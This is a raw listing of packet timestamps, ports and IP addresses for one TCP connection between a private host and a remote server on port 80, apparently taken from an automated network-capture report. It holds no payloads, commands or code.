Jan 2, 2025 20:34:52.580270052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580280066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580281973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.580291033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580301046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580313921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.580348015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.582220078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582231045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582241058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582257986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582268953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582281113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582290888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582300901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.582429886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.583103895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583121061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583154917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583199024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583213091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583230972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583240986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583254099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.583260059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.583281040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.583300114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652400970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652421951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652434111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652443886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652455091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652467012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652473927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652479887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652488947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652542114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652633905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652643919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652662992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652673960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652673960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652688026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652698040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652704000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652709007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652728081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652749062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652770996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652798891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652807951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652810097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652837992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652848959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652859926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652883053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652885914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652894020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652909040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.652935028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.652960062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653000116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653011084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653021097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653036118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653067112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653086901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653098106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653107882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653125048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653140068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653151035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653151989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653177977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653201103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653224945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653234959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653251886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653259993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653263092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653274059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653297901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653335094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653462887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653474092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653485060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653495073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653506994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653513908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653529882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653532028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653541088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653551102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653558016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653562069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653584003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653590918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653594017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653604984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653614998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653620005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653634071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653636932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653645992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653656006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653659105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653676033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653686047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653696060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653697014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653707981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653719902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653729916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653732061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653740883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653753042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653768063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653770924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653796911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653805017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653810024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653836012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653853893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653863907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653875113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653876066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653886080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.653907061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.653939009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.656780005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656791925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656802893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656812906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656824112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656830072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.656833887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656845093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656855106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.656857014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.656886101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.656900883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.659207106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659219027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659229994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659240007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659250975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659257889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.659260988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659277916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.659287930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.659327984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.662013054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662024021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662029982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662035942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662040949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662048101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662053108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662062883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.662094116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.662132978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.666768074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666851997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666862011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666872978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666876078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.666883945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666893959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.666899920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666910887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666920900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666924953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.666933060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666941881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666954041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666958094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.666964054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666975021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.666976929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.666996956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.667017937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.667094946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.667107105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.667118073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.667126894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.667143106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.667171001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.668900967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668912888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668924093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668934107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668943882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668955088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668965101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668966055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.668976068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.668996096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.669025898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.669950008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.669967890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.669979095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.669995070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.670002937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.670006990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.670017958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.670022964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.670030117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.670038939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.670053959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.670080900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739213943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739233971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739253044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739265919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739270926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739276886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739289045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739299059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739308119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739320040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739353895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739365101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739391088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739391088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739398003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739401102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739412069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739423037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739434004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739440918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739454031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739475012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739479065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739485025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739512920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739532948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739533901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739545107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739563942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739583969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739653111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739662886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739669085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739680052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739685059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739696026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739706039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739717960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739736080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739754915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739765882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739772081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739794016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739794970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739804029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739814997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739818096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739825964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739850998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739872932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739872932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739903927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739905119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739914894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739926100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739950895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.739957094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739969015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.739999056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740000963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740010023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740014076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740036011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740056992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740062952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740067959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740077972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740103960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740106106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740117073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740122080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740137100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740143061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740148067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740158081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740171909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740221977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740263939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740274906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740286112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740295887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740313053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740333080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740374088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740386009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740395069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740417004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740432978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740453005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740463972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740474939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740484953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740494967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740504980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740540028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740559101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740569115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740578890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740598917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740607977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740617990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740629911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740634918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740644932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740649939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740655899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.740695000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.740715027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.743673086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743690014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743700981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743710995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743721962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743732929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743736029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.743742943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743755102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.743788004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.743812084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.745923996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.745945930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.745963097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.745974064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.745982885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.745985031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.745994091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.746005058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.746016026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.746030092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.746057987 CET	49730	80	192.168.2.4	47.254.187.72
